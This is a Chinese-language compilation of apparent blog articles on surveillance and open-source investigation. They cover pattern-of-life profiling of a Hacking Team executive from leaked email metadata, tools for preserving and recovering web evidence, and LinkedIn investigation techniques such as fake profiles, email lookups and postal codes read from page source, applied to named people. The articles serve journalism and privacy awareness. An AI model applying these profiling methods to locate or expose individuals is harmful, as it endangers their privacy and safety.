它是一种计算机化的数据收集和分析方法，用于确定受试者的过去行为、确定其当前行为、并预测其未来行为。也就是《少数派报告》。"美国已经在使用这种方法监视社交媒体并预测社会抗议活动"，而中国也开始钟情于这一技术。

这种形式的分析通常在未经您同意的情况下完成，并且不仅适用于政府维稳，而且它还是许多大型互联网公司的核心活动和商业模式。更常见的是，生活模式分析被称为剖析。在大多数情况下，我们使用电子邮件、IP 流量或手机数据以及我们使用的其他技术，就是我们最致命的弱点。

尽管本文的研究仅限于电子邮件元数据，但我们将尝试对 Hacking Team 的一个关键人物进行了生活模式分析，并尝试了解我们可以获得的内容。⚠请记住，政府当局和数字极权能做到的程度是本文 **×10、×100.**

根据我们的元数据调查的前几个阶段，显然具有最大内部和外部联系和通信的节点（人）是 d.vincenzetti@hackingteam.com。我们称他为 Mr.D.

我们试图在这里理解3个主要内容：

- D 先生的行为模式是什么？
- 这种模式有什么异常？
- 与他的社交/专业圈其他人相比，Mr.D 的行为模式有何不同？

「图」

模式识别：当天发送和接收的电子邮件总数（2014 年）

发送的电子邮件代表我们正在检查的人的行为，并且收到的电子邮件代表了他的社交或专业环境的整体行为模式。

Mr.D 与其他人不一样。

他每天很早就开始活动。几乎每天凌晨4点左右是他专注的时间，也就是他白天发送最多电子邮件的那一刻。如果我们比较发送和接收的电子邮件的数量，我们可以看到 Mr.D 与他的大多数联系人有不同的习惯。他的社交和专业圈在上午10点左右最富有成效，大多数人在下午1点左右休息，他们的生产力从下午4点开始迅速下降。

另一方面，D 先生在白天没有太大的生产力。 他在工作时间的高峰期是中午。看起来他没有定时的午休时间，当他的同事和外部联系人在下午开始失去注意力时，他在下午5点左右又有一次活动高峰。此外，D 先生很少在晚上8点之后发送任何电子邮件。

「图」

模式识别：每周和每月（2014年）MR.D 发送和收到的电子邮件的总和

如果我们在一周的时间内分析 Mr.D 的行为模式，我们可以发现，他在周末期间甚至比他的职业圈其他人工作得更多。他的电子邮件在每个星期六中午午餐时间出现。

这是 Mr.D 的平均行为，但对我们的分析更重要的是他的行为异常。异常可以指向很多事。当人们在沮丧、生病、在压力下工作、有一些截止日期或重要事件、旅行或恋爱时，人们就会改变自己的行为。

「图」

ANOMALY 检测：每小时发送的电子邮件数量（2014年）

在这张图上，我们可以看到代表 Mr.D 生产力异常的一些峰值。

例如，在12月11日晚上7点，他在一小时内发送了 19 封电子邮件，而他通常发送的邮件平均为 2.7 封。

以下热图可能对发现异常最有效：

「图」

模式识别和异常检测：mr.d 每小时发送电子邮件的热图（2014）

查看热图，您可以在9月发现一个有趣的异常现象。在20号的下午，我们看到一个非常低的活动水平，这对于 Mr.D 是不寻常的，因为我们已经知道这是他的每日生产高峰时段。

此外，9月21日凌晨4点，当他一般情况下醒来并开始工作时，那天没有活动，直到第二天早上7点才开始活动。

在接下来的几天里，我们看到这种模式并不常见。看起来D先生在下午睡觉，并在夜间集中工作。9月27日，我们再次看到缺乏沟通，然后在接下来的日子里，D 先生的模式恢复正常。

根据我们稍后将在研究中解释的其他元数据输入，我们发现 Mr.D 在9月21日至27日期间前往新加坡。有了这个线索，我们可以很容易地得出结论，时区的变化会影响 Mr.D 的电子邮件（作息）模式。

「图」

从10月5日到10月12日，我们可以在模式中找到另一个异常，但这种模式看起来与上一次有点不同，它朝着另一个方向摆动。在这期间，Mr.D 去了美国。这些数据向我们展示了不同的时区如何在他的生活模式中留下了不同的足迹。

6月24日和次日还有一个非常有趣的模式异常（你可以看到更暗的方块和更高的沟通水平）。当天，公民实验室的研究人员发布了“警察故事：Hacking Team 的政府监视恶意软件”分析，揭露了 **Hacking Team** 远程控制系统（**RCS**）的功能和架构，其前所未有的细节。该报道有很多媒体转载，包括经济学人， 美联社，有线，VICE，国际商业时报，福布斯等。

我们可以看到 **Hacking Team** 的这一压力事件时段中如何反映在 **Mr.D** 的电子邮件模式上。

主题的奥秘

除了定义的活动模式和发现的异常之外，电子邮件主题还揭示了 Mr.D 与 Hacking Team 其他员工沟通的非常详细的概述。

电子邮件主题有时可以给我们一些非常有趣的信息。例如，亚马逊等许多公司在您处理完付款后收到的确认电子邮件主题中会列出订购商品。

通过提取亚马逊发送给 Hacking Team 员工的电子邮件，我们能够深入了解他们的购买情况。

「图」

但是，还有一些更极端的例子。

如果我们查看 Hacking Team 合作伙伴的树形图，就会发现一家名为 Carlson Wagonit Travel 的公司。根据该公司的网站介绍，他们为商务旅行、会议和活动管理提供解决方案。

对于 HT，他们帮助安排和购买机票、预订酒店并提供旅行协助。但是他们有一个坏习惯（这对许多预订机构来说都很常见），每次预订机票时，机构都会向潜在乘客发送主题行中包含姓名和机场代码的电子邮件。从主题中提取该信息并与发送电子邮件的日期交叉引用，我们能够获得有关 HT 员工旅程的大致信息。

HT 员工频繁的旅行和他们访问的地理位置的列表看起来像这样：

「图」

这些数据提供了一些有趣的信息，这些信息完全可以构建 Hacking Team 的组织结构。如果我们回到基于社交网络分析的组织结构图并与此常见的列表进行比较的话，我们可以看到根据我们的网络图，最常见的旅行在层次结构中不是很高。

但是，如果按乘客的名义对航班进行分组，我们会发现每个最常见的旅行都位于某个地方，并且覆盖某个地区/市场，例如东南亚，中东，南美等。可以从中得到的结论是：这些员工负责全球某些市场或区域的 **Hacking Team** 办公室。

「图」

基于CWT EMAILS SUBJECT LINES 的 HT 员工航班地图

如果我们按位置重新组合同一组数据，我们可以看到两个或更多 Hacking Team 员工在哪个地点遇到或一起旅行的时间点。这意味着潜在的商务会议、监视工具的销售，如何与全球客户和政府机构建立新的关系。

「图」

HT 员工飞往不同国家的时间表：TABLEAU

回家

电子邮件标题隐藏了一个更精确的位置信息。在某些情况下，电子邮件标题会显示发件人的 IP 地址。然后，可以使用一些公开可用的工具将 **IP** 地址地理定位到城市或单个路由器的级别。

这使我们能够追踪 Mr.D 的每一个联系人。每当有人向 Mr.D 发送电子邮件时，这些人基本上都会向我们透露他们的位置。只需分析 Mr.D 收到的电子邮件的元数据，我们就可以获得发件人所在地的信息，当他们改变城市或国家时能及时发现。

这使我们能够更准确地找到 Hacking Team 的所有员工。

「图」

例如，我们可以看到，大多数员工都位于意大利，但其中一些员工位于世界各地。

- D.Maglietta 是新加坡办事处的负责人，但他在西班牙度过了圣诞节。
- E.Pardo 大多数时间都在哥伦比亚的波哥大，并于1月14日访问了另一位 HT 员工 A.Scarafile。
- 我们可以看到 E.Shehata 如何穿越中东地区前往卡塔尔，黎巴嫩，阿联酋，埃及和约旦。
- E. Rabe 位于美国宾夕法尼亚州阿德莫尔，但于2月14日搬到另一个地方在费城郊区。

最后，尽管 HT 声称在华盛顿特区设有办事处，但是，基于元数据，我们没有找到任何支持这一点的证据。

在世界地图上，其位置的分布如下所示：

「图」

Mr.D 的外部联系人的位置使我们真正了解他们的全球运营。

见下图，注意中国！⚠颜色对比上图中最下面列表。

「图」

这一小部分信息就使我们能够探索每个国家/地区的个人联系人，找到他们的主要合作伙伴，甚至能够及时跟踪他们联系人的位置。

是的，它只是元数据

通常情况下，元数据的力量被认为是天真的，或者与我们的沟通内容相比，它的潜在用途过于简单。但我们发现即使是本文这样不那么复杂的 DIY 方法，也可以使用从“唯一”电子邮件元数据中提取的信息，创建一个深刻而清晰的个人习惯和活动全景图。

虽然我们的调查主要是发现某人工作生活的关系，模式和异常现象，但它仍然让我们深入了解这个人与私人生活相关的习惯 — — 这些数据不仅能构成最深入的政治审查，并且能揭穿你希望要隐瞒的一切。因为，元数据完全能够比内容相关的传统监控实践在更深层次上扫描某人的行为。

我们正在偷看某人生命中最深处的角落。更令人不安的是，我们的分析主体可能并不了解自己的行为模式。它只是元数据，并且在我们的例子中，只是它的一小部分。

NSA 监测计划的支持者多次声称收集和分析元数据“不是监视”。根据我们的数据探索，我们可以明确告诉他们：这比常规内容监控更具侵入性。

⚠谁有权访问元数据？ — — 换句话说就是，谁有能力如此深入地侵犯你

了解谁可以访问元数据以及分析元数据的可能性，将使我们能够解答信息社会中新的权力结构和财富分配问题。

公司 — — 第一个也是最显而易见的就是提供 Google 或 Facebook 等服务的公司。他们不仅可以访问元数据，还可以在服务器上拥有实际数据和内容。谷歌拥有的关于其服务的每个用户的元数据的质量、种类和数量，存储在巨大的数据中心，都是史无前例的威胁。

政府 — — 在大多数情况下，国家法律赋予政府或其中一些机构合法

访问用户数据的权利，包括电子邮件和其他元数据。互联网基础设施所有者或提供服务的公司有义务与其所在地的政府合作。他们经常遵守政府的要求，并有不同形式的技术合作。并且，在许多国家，政府机构已经投资制定了基于元数据的收集方案。这些程序通常依赖于创建和利用后门程序的软件（就像Hacking Team 的情况一样）或使用其他一些创造性的方式来访问元数据。

基础设施 — — 这些是互联网服务提供商，移动服务提供商、互联网交换点和海底光缆，都可以访问数据。它们可以收集的元数据质量取决于附加到基础结构的端点，但无论如何，它们都可以访问 Internet 数据包的基本元数据。即使电子邮件的内容被认为是加密的（至少在使用这些主流服务时），元数据可没加密！因为电子邮件架构需要依赖可读的元数据，如前所述。

我们不打算总结有关 Hacking Team 的活动，这不是本文主题，我们希望通过研究和实践来理解如何执行元数据分析，以及我们可以从中学到什么。我们希望研究人员和调查记者可以将这些数据探索方法运用于他们自己的研究，挖掘真相。而不是希望引起人们的隐私恐慌。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

手慢无：如何抢在信息被遮挡、污染或完全消失之前捕获它们？ - iYouPort

开源情报-每个人都可用的武器

证据就如酒精，在互联网的嘈杂中会不断蒸发；尤其是对于重要的证据来说，不想让你看到证据的人会雇佣恶意行为者发动信息战，在机器人和水军的帮助下淹没真相，让调查变得更难。这种情况下怎么办？

「图」

「图」

速度是任何类型调查中的关键因素。俗称手慢无。

信息被搁置的时间越长，被遮挡、被污染、或完全消失的可能性就越大。

对于任何类型的信息都是如此，无论是目击者证词、服务器日志、推文、指纹、还是调查员可能认为有用的任何其他信息。

目击者会忘记、服务器日志将被覆盖、推文将被删除、指纹也将被擦除。

⚠无论您在调查什么，知道如何迅速采取行动以在丢失信息之前做好保存和收集，是一项重要技能。

Jake Creps 进一步探讨这个想法，并展示一些可以在出现问题时恢复丢失的信息的技术。值得学习。

信息损耗

为了解释这是什么意思，请见下面的图：

「图」

「图」

红色框代表理想的世界，在其中您可以获取所有可能的信息。

也就是说，假设每个 Facebook 帖子都是公开的，每个图片都是公开共享的，没有人删除其推文，而 Google 已为每个细节编制了索引。

很遗憾这样的世界根本不存在，但是为了收集开源情报资料的目的正是要尽可能地靠近这个理想世界。

橙色框则代表您可以作为OSINT调查员实际使用的材料。

这个世界并不完美，您会不断丢失信息：时间流逝、隐私设置被打开、视频被删除、网站受到审查、数据流庞大您不知所措并迷失在搜索结果的海洋中、或者长得不够帅目击者决定不再和你说话 …… 等等，总之导致您丢失很多信息的方法有很多种。

最底下的黄色框是您最后需要处理的实际信息量。

这是您实际用来做出报道、撰写记录片中的故事、完成报告、或起诉案件的可用材料。

从橙色框过渡到黄色框再次丢失了更多的材料，其原因有一大堆：过时且不相关的、丢失了USB记忆棒、来源不再想要提供帮助、您所依赖的Internet工具不再起作用、目标已修补您正在利用的漏洞……等等。

在红色框的理想世界和黄色框的最终结果之间，可用的**OSINT**材料的这种减少被称为信息损耗。

💡于是，您越早入手能收集和保存到的数据就越多，最终就将获得更好更有效的结果。

如果一项开源情报调查没有考虑如何很好地收集和保存证据，它看起来就会像下面这样：

「图」

「图」

由于材料的最初收集和保存（橙色框）较差，因此，由于损耗而丢失了更多信息，而最终的调查产品（黄色框）则会更弱。

示例：具有挑战性的侦探游戏

Fiete Stegers 发布了一个非常具有挑战性的侦探游戏。本文将以这个例子来说明，为什么以及如何迅速收集信息以防止损耗。

Fiete 的题目是这样的：从他参加的活动现场实时发布了下面这张照片。你知道这张照片是在哪里拍摄的吗？

「图」

「图」

结合使用 Twitter 的实时更新、Twitter 的实时地理位置数据、以及 OneMillionTweetMap、Snapchat Map 和 Facebook 的主题标签，可以非常快速地找到这个位置。

请注意，这个方法在很大程度上依赖于来自各种社交媒体应用程序的短期实时数据；通过快速收集并保存数据（在这种情况下仅使用屏幕截图就可以），信息的损耗可以争取到最小化，并且可以非常快速地完成地理定位。

但是，如果我是在四个月后才开始这项调查的，结果会是什么样子呢？

这种情况下尝试从 Twitter 捕获实时数据已经毫无意义了，Snapchat Map 镜头也早已消失，而 Facebook 搜索机制的变化将意味着，即使不是不可能，也很难找到这场游行的准确路线。

不仅是您最初所依赖的数据已经不再可用，而且，还有其他因素会导致更大的信息损失：这是一次气候维权大游行，但是自从拍摄那张照片以来，这里还有更多的同类游行出现。你可能分不清哪张照片来自哪个游行。

这意味着将有数百万个搜索结果遮盖你一直在寻找的内容，本该依赖的某些 Twitter 帐户已被删除，依此类推。

在Fiete发布挑战后的最初几个小时中，可用的信息库足以找到他，但是现在，从头开始将使任务更加艰巨，即使不是不可能的话。

快速采取行动，尽早收集和保留开源情报信息，对最终结果将产生重大影响。接下来，本文将研究如何以及为何要快速保存开源情报资料。

保留和收集开源情报数据

「图」

「图」

防止证据丢失的需求并非开源情报调查所独有。

上面那张图显示了尽快保存和收集信息的相同道理。

正如你所知道的，诸如血迹、指纹、头发样本、和脚印之类的重要证据对于解决严重犯罪来说至关重要。这些法医线索会很快退化或丢失，因此好的调查员会保留它们以防止丢失。

这就是为什么罪案发生后，现场会迅速被警方围起来，避免不想干的人闯入破坏了上述证据。

所有最敏感的区域都覆盖有帐篷。这不仅是为了让围观者远离。帐篷还可以保护非常敏感的证据碎片免受雨水、风和其他可能导致损失的因素的影响。如果一开始丢失或污染了这些证据，那么整个案件可能永远无法解决。

在开源调查中，使用的原理也一样。

如果您没有收集和保存正在发生或才刚发生的事件信息，证据就会丢失。

⚠在瞬息万变的新闻世界中，珍贵的材料不仅会快速被新快讯所掩埋，甚至，可能还有其他恶意行为者在机器人的协助下推动信息战，积极地试图破坏证据、并利用阴谋论淹没原始资料。

Twitter 就是一个很好的例子。如果无法快速识别和捕获主要来源，则很容易丢失它们，从而导致调查受挫。

接下来本文将介绍一些实用的工具，可用于可靠的、快速地从Web捕获信息，以及其他一些工具，可帮助您收回一开始可能会丢失的信息。

保存工具

您可以使用多种工具来快速有效地捕获信息。

最佳工具的使用确实取决于您要捕获的内容是什么，但是这里是一些不同工具的概述。

Screenshot—有很多不同的屏幕截取工具。

Fireshot 用作浏览器插件，Windows 内置了 Snipping Tool，Mac OS 内置了 Screenshot 工具，而我最喜欢的 Linux 工具是 Shutter 和 Flameshot。

Firefox 和 Vivaldi 现在都具有内置的截图工具。

Saving A Webpage—GIJN 在这里发布了有关从网络捕获信息的各种方式的指南。

这包括一个提醒，您可以按 Ctrl ＋ S 并将网页另存为HTML文件。

当然，您仍然可以执行此操作，但是大多数现代网页包含太多动态内容，因此离线保存的HTML页面不太可能与原始页面非常相似。

HTTrack 是保存网页的一种更为有效的方法，后面很快会谈到。

「图」

「图」

TweetBeaver—Tweetbeaver 包含多个工具，可让您从 Twitter 下载所选信息，并在需要时将其导出为CSV。

您需要首先让它访问您自己的 Twitter 帐户（非常建议使用袜子木偶账户），这是从 Twitter 下载批量信息的好方法，并且它的用户界面非常简单。

Twint—Twint 是我最喜欢的 Twitter 工具。它不使用 Twitter API，功能非常强大。我们在这里介绍过：《新生情报工具（2）》

它具有捕获特定种类信息的许多功能，并且与一些常见的可视化工具很好地集成在一起。做出报告会很漂亮。

下面的屏幕截图列出了一些可用的选项：

「图」

「图」

Archive.is—Archive.is 是“网页的时间胶囊”。它不如互联网档案馆那么知名，并且它不包含太多信息，但是，它确实为您提供了一个选项，可以非常快速地归档您想要的任何页面。

只需在红色框中输入页面的URL，Archive.is 便会复制并保存该页面，即使原始页面已被删除。很好用。

「图」

「图」

Pastebin—Pastebin 的界面很简单。它只能用于存储文本，但有时如果您急于收集且不能在本地保存文档或者出于某种原因而不想这样做，那么它可能会是一个有用的选择。

复制并粘贴您要保存的文本，然后 Pastebin 创建一个唯一的URL，您可以将其用作书签。请注意，默认情况下保存的内容不是私密的。

「图」

「图」

Httrack—HTTrack 是保存网站的强大工具。它复制了网站或页面的整个结构，并可以离线保存。

它比简单地将网页另存为HTML文件更强大，因为它捕获了使网页起作用所需的所有相关脚本和样式。

它非常详尽，可让您创建网站的精确副本以供离线查看。

唯一的缺点是，在逐页复制整个网站时，捕获整个网站所需的时间要比仅拍摄一些屏幕截图要长，但是，最终产品的细节要丰富得多。Windows 和 Linux 均可使用。

YouTube-dl—这个也介绍过，它几乎可以从任何网页（不仅仅是顾名思义的YouTube）中获取视频内容。

您可以在这里看到具体教程《如何快速从大部分社交网络上抓取视频？深度调查的必备基础工具》。

Hunchly

「图」

「图」

Hunchly 是捕获Web浏览器证据的最佳工具，没有之一。

当您浏览、抓取网页、视频、屏幕截图、搜索等内容时，它可以在后台默默地捕获证据，同时为您进行的研究创建可审核的踪迹。

不过要花钱，一年的许可费用为129美元，但是，如果您是专业地从事调查的人员、甚至只是业余爱好者，那么真的值得为此付出。它在Windows、MacOS 和 Linux 上同样有效。

「图」

「图」

OSIRT—OSIRT Browser 虽然不像 Hunchly 那样知名，但它仍然相当不错。

它在您浏览时进行捕获，具有内置的视频捕获工具、网页捕获功能、还有Tor功能，并且允许您添加自己的记录，最后将整个内容导出为PDF。

很棒吧。

它最初是为执法而设计的，但现在已公开提供给所有人使用（仅限Windows）。

恢复工具

互联网调查与传统调查之间的主要区别在于，恢复丢失的信息要容易得多。

我们介绍过一些方法，见《盗墓OSINT》。

如果有人在谋杀现场擦掉了指纹，那么指纹将永远消失，但是，如果有人删除了一条推文，则可能有办法将其找回。

🌤以下是一些资源的列表，这些资源可以使您有机会恢复第一次丢失的信息。

Google Cache—Google不仅将网页编入索引，还将网页的副本存储在缓存中，这样就可以检索网页的缓存版本，即使原始网页已被删除。

您只需要注意，Google不会一直缓存所有内容。

要查看网页的缓存版本，只需在搜索URL前面加上 “**cache:**”即可。

以下是一个例子，对于一条已删除的推文。 Google 找到了原始推文…

「图」

「图」

点击它你会发现，Twitter 限制了发布者的帐户，无法查看该帖子：

「图」

「图」

但是，通过在**URL**上添加 **cache**：前缀，并对其进行**Google**搜索：

```
cache:https://twitter.com/jakecreps/
status/1126239101294919685
```

即使原始版本已消失，Google也会返回该缓存的版本，这样就能看到啦：

「图」

「图」

您也可以直接从搜索结果中访问网页的缓存版本，方法是单击绿色的向下箭头并选择“缓存”。

「图」

「图」

如果此选项不存在，那么很遗憾，该页面尚未被缓存。

The Wayback Machine—Archive.org 是互联网上最知名的存档资

源。它包含了可以追溯多年的网站快照。

它还具有广泛的高级搜索选项，用于挖掘旧的和隐晦的信息。

尽管它是一个很好的工具，但是它并不能始终捕获所有内容，也不适合捕获包含 Twitter 页面在内的内容快速变化的URL。

Ceddit 和 **Resavr**—这两个工具都用来捕获并保留已删除的 Reddit 帖子。 Ceddit 看起来与 Reddit 主站点很类似，但是它可以保留并存档已从 Reddit 删除的帖子。

「图」

「图」

Resavr 采用的是略有不同的方法。它只是捕获并存档已删除的 Reddit 评论。您可以检索评论的全文，用户ID，删除的时间以及删除前的停留时间。

Time Parameter Searches—这与恢复丢失或模糊的信息的方法略有不同。

正如前文所述，开源情报调查中信息损耗的原因之一是，您正在寻找的数据可能会被较新的搜索结果所淹没。

例如，假设我为“ Jeffrey Epstein”使用 Google，会得到超过7000万个结果：

「图」

「图」

杰弗里·爱泼斯坦（Jeffrey Epstein）被捕并自杀身亡的故事几乎全球流行，于是搜索引擎确保了与这些最近事件有关的结果在搜索结果中占主导地位。

但是，如果你想要研究的是有关他的较旧信息怎么办呢？ Google的高级搜索参数使您只能在给定的时间范围内找到结果，这可能会使您要查找的信息更容易挖掘。

在搜索结果页面上，选择“工具”，然后单击“任意时间”，然后从下拉菜单中选择“自定义范围”：

「图」

「图」

输入感兴趣的日期范围，Google只会返回这些时间范围内的结果。

这样一来，您就可以滤除大量无关信息的干扰，而只关注您感兴趣的时间段。只需要记住格式：DD / MM / YYYY。

举例来说，假设我只是想看看 Jeffrey Epstein 从2009年开始的信息结果，我会这样做：

「图」

「图」

如果您需要非常具体的内容，甚至可以设置更小的时间参数，比如减少到一天。

请注意，这仍然会带来误报，因为相对较新的信息会出现在非常旧的网站上。与往常一样，您需要亲手检查所有内容。

好啦就是这样。以上列表很可能不够详尽；如果您有其他更好的方法，欢迎留言交流。〇

广告

原文

把 LinkedIn 作为情报挖掘工具：简易指南 - iYouPort

开源情报-每个人都可用的武器

「图」

不论任何角度的开源调查工具手册基本都会包含 ***LinkedIn*** 的工具。***LinkedIn*** 的确可以是 ***OSINT*** 的重要来源。

「图」

「图」

中国当局对 Linkedin 的间谍使用应该不是新闻了，如果您还不了解，在这里看到英文版的相关报道之一：“西方情报官员称，中国特工正在通过LinkedIn与数千名外国公民联系，其中包括前政府官员”。

但是很多相关报道均没能挖掘到中国当局的操作细节。

如所有社交媒体一样，Linkedin 具有强大情报潜力。

我们演示过如何通过 LinkedIn 挖掘监视资本主义寡头的政治旋转门，详见《深层政治：Facebook金字塔的人形肌理》。

LinkedIn 可以作为各种主题的在线研究人员的有用资源；不论您是调查威胁性信息的来源、还是挖掘战争内幕，都可以用到它。

本指南旨在提供有用的工具和技术，用于识别 LinkedIn 的个人资料并提取调查信息，然后您可以转到属于调查目标的其他社交媒体配置文件。

搜查工具大全在这里《如果你擅长搜索，你能找到一切》。

本指南将假设您是新手，从一无所知开始。感谢 Nathan Patin 的演示。希望更多民间独立调查人员的水平超越主流媒体。

您可能从社交网络中收集的一些有用信息包括如下：

- 简历细节，包括就业历史、教育经历和其他从属关系；
- 个人信息和工作联系信息；
- 大致地理位置；
- 头像照片；
- 用户名；
- 个人网站；
- 雇主的网站；
- 个人社交关系中的其他人。

⚠重要的是要记住，个人资料中列出的所有信息都是自我报告的，并且可以完全是捏造的。（后面的文章将举例说明这个问题该怎么办）

锁定个人资料

在开始调查之前，您应该采取一些步骤，以便尽可能多地访问内容并同时确保您的匿名性。

方法类似我们在《"角色扮演游戏"》中介绍过的（这在任何平台都可以用）

首先，创建一个配置文件。

如果不这样做，您将无法查看设置为私有的目标配置文件。

这是针对 LinkedIn 的服务条款，调查人员可以为自己创建一个或多个虚假的个人资料，这样做可以模糊你的真实身份，以避免影响调查。

其次，请确保您的个人资料的隐私设置尽可能严格，这样您就不会过多透露自己的身份线索（尤其是当您没有足够时间去注册一个袜子木偶的时候，只能使用真实的账户进行调查，就必须严格设置隐私权限）

点击页面右上角的“我”图标，然后转到“帐户”下的“设置和隐私权”。

有许多设置要锁定，所以这里不会详细介绍所有这些设置，但可能最重要的更改设置是“配置文件查看选项”。

在这里调整为私密模式，以便可以显示成 “匿名 LinkedIn 会员”。

LinkedIn 高级用户可以查看在90天内谁看过他们的个人资料，但他们无法看到设置为私密模式的用户。

名字旁边的这个黄色 LinkedIn 徽标就是高级帐户的意思：

「图」

「图」

非私密模式的非高级 LinkedIn 用户可以看到有关查看其个人资料的一些最新出现的个人的详细信息：

「图」

「图」

所以调查人员需要注意这些，使用袜子木偶或严格设置，以避免被目标察觉。

另请注意，处于私密模式的非高级用户无法查看谁在浏览他们的个人资料。

查找这些个人资料

找到一个名字不常见的人的 LinkedIn 个人资料的最简单方法就是谷歌搜索他们的名字加上用引号括起的“LinkedIn”这个词。

如果这样还不起作用，就添加上您对它们的了解，例如 他们的地理位置、或当前的雇主。

通常情况下，Google 的搜索算法会显示相关的个人资料。

如果您能识别相关人员，还可以使用像 Pipl 和 Spokeo 这样的人物搜索网站返回 LinkedIn 个人资料。

如果目标人名字太普通重名很多、或者您在查找其个人资料时遇到困难，这里有一些尝试解决问题的技巧。

Email Trick

默认情况下，LinkedIn 允许“所有人”通过电子邮件查找您的个人资料。您可以通过设置改变这点，更改为 “2nd-degree connections” 和 “nobody.”

如果您有目标的电子邮件地址，请将其输入这个URL以代替末尾的（您必须先登录到 LinkedIn）：

https://www.linkedin.com/sales/gmail/profile/viewByEmail/""

如果对方使用个人资料的电子邮件地址并将其隐私设置为“所有人”，您将看到如下内容：

「图」

「图」

要转到目标的 LinkedIn 个人资料，请单击其姓名或 LinkedIn 徽标。

在上面的示例中，我使用了丝绸之路创建者 Ross Ulbricht 的 Gmail 地址：

https://www.linkedin.com/sales/gmail/profile/viewByEmail/"".

单击 Ulbricht 的名称或 LinkedIn 徽标将指向他的个人资料，网址为 https://www.linkedin.com/in/rossulbricht。

再举一个例子。

使用 URL 字符串搜索被起诉的俄罗斯黑客 Yevgeniy Aleksandrovich Nikulin 使用的电子邮件地址，；返回一个 LinkedIn 个人资料，其中包含 Nikulkin 另一个隐秘的别名：“Jammiro Quatro”。

很好用吧。如果您想要挖化名的诈骗犯或者**trolls**，也可以这么做。

⚠而另一方面，如果您正在使用袜子木偶做调查工作的掩护，请注意这点，不要被他人挖出来。遵循我们的《角色扮演》规则。

虽然 Quatro 的配置文件在表面上看似乎没什么用 —— 它是空白的，除了一个被列为“俄罗斯联邦”的位置）。但研究人员和调查人员可以在其他地方搜索这个别名，执法部门可以寻求获得法院命令或要求 LinkedIn 提交有关该帐户及其所有者的其他信息的传票。

在 **LinkedIn** 内

您可以通过页面顶部的搜索栏在 LinkedIn 内进行搜索。

您可以单击“所有过滤器”按地点、公司和其他条件设置搜索。

使用搜索运算符可以获得更准确的结果，比如 “headline:” “yoe:” 和 “geo:”（文末有列表）。

如果您使用的是虚假个人资料，那么您搜索的大多数结果可能都不会显示用户的姓名，应该看起来像这样：

「图」

「图」

LinkedIn 不会让您查看这些个人资料 —— 当您点击“LinkedIn会员”查看个人资料时，LinkedIn 会告诉您“个人资料的能见度有限”。

于是下一步应该是使用搜索运算符在 LinkedIn 之外进行搜索。

Google Dorks

这是最经典的。

例如 the site:[example.com] 将返回 Google 仅为该特定网站编入索引的搜索结果。

以上面图中的 KKK Grandwizard 为例，搜索应该是这样的：site:linkedin.com “KKK grandwizard” rhode island。

请注意，搜索结果为空并不一定意味着您的目标没有帐户，而是更改帐户的隐私设置可以让 Google 不对其编制索引：

「图」

「图」

如下，可以找到罗德岛地区普罗维登斯的自我描述的 KKK Grandwizard 的人指向 Klansmen Joe，这样就能看到了：

「图」

「图」

使用 **LinkedIn** 工具

在确定相关配置文件后，要做的第一件事就是使用类似 RocketReach 或 ContactOut 这样的工具 —— 它可以获取 LinkedIn 个人资料并返回社交媒体资料、电子邮件地址和电话号码，这些信息又可用于其他搜索，以进行进一步的调查。

请注意，要使用 RocketReach 的免费试用版，您必须使用企业电子邮件或 Gmail 或 Facebook 帐户创建帐户。您可能还需要使用电话号码验证您的帐户。

运气好的时候结果看起来像这样：

「图」

「图」

点击 Google＋和 Facebook 图标会在这些平台上显示 Ulbricht 的帐户。

注意用户名和联系信息

记下 LinkedIn 个人资料的网址中是否有用户名非常重要。

LinkedIn 提供的默认 URL 通常用短划线分隔，最后部分是看似随机的字母和数字（例如这样 https://www.linkedin.com/in/jammiro-quatro-1a410656）

LinkedIn 允许用户将他们的 URL 定制为唯一的用户名（例如这样，https://www.linkedin.com/in/rossulbricht），然后可以通过Google搜索或运行像 KnowEm 这样的服务，该服务可以在数百个网站上搜索用户名。

另外请务必点击“查看联系信息”，其中包含电子邮件地址、个人网站和社交媒体资料。

反向搜索个人资料照片

如果您的目标包含个人资料照片，请通过反向图像搜索服务查找，工具包括 TinEye 和 Yandex。

大量经验证明，即使使用过滤器，**Yandex** 在反向图像搜索和面部识

别方面也远远优于谷歌。

如果您仍然无法识别有用的信息以进行深入的调查，建议查看与目标相关的人，即 Endorser。

这也是警察和间谍常用的办法。

找几个名字不同的 Endorser，并尝试快速搜索他们的 Facebook 个人资料，例如，查看他们是否有公共朋友列表。

绘制个人资料之间的连接

如果您已经确定了多个感兴趣的 LinkedIn 个人资料，并且您有兴趣确定他们之间的联系，那么有一个名为 The Endorser 的命令行脚本可以直观显示两个或多个 LinkedIn 个人资料之间的关系。

输出一个像这样的 PDF：

「图」

「图」

很直观是吧。

查找邮编

在某些情况下，您可能想要更具体地了解目标的居住地，特别是对于将其位置列为“[大城市]区域”的用户。

例如，假设您的目标被列为华盛顿特区地铁沿线，那么这其中会包括马里兰州和弗吉尼亚州的部分区域以及D.C.全部，但您想要深入了解具体位置。

您可以在 LinkedIn 个人资料的源代码中找到用户自行提交的邮政编码。右键单击页面，然后选择“查看页面源码”。

然后，Control/Command＋ F 搜“postal”。您将看到如下所示的代码：postalCode＆quot;： ＆quot; [邮编在这里]。

例如，Nikolay Tyaglo 将自己描述为俄罗斯驻华大使馆的二等秘书，并在他的 LinkedIn 个人资料中列出了他在华盛顿特区的地理位置(https://www.linkedin.com/in/nikolay-tyaglo-019a8a25/).

Tyaglo 将他的邮政编码列为 20007，与俄罗斯驻华大使馆的邮政编码相同：

「图」

「图」

只使用他的名字进行几次搜索，就有可能找到 Tyaglo 的 Twitter 个人资料(https://twitter.com/NTyaglo) 和 Facebook 账户 (https://www.facebook.com/nikolay.tyaglo.3).

这两个档案都显示他与其他俄罗斯公务员有联系。

但更重要的是，两边的档案都包括这张令人着迷的公开照片：半裸男（也许是同事？）在桑拿房里吃小龙虾：

「图」

「图」

请注意，LinkedIn 不允许您输入该国家/地区的某个区域的邮政编码，并显示其他区域的位置。

例如，您不能输入 20007 作为邮政编码并列出位置在华盛顿州西雅图。

相反，LinkedIn 会根据您提供的邮政编码向您反馈有限数量的位置：

「图」

「图」

LinkedIn 允许您输入不存在的邮政编码，或者在某些情况下已经过时的邮政编码。

例如，Nikulin 的“Jammiro Quatro”配置文件的邮政编码为346146，似乎已过时。 Tyaglo 的第二个 LinkedIn 个人资料 (https://www.linkedin.com/in/nikolay-tyaglo-5368653b) 将他的位置列为“美国” — 个人资料的源代码中没有邮政编码。

总结

LinkedIn 可以成为在线调查的重要资源。

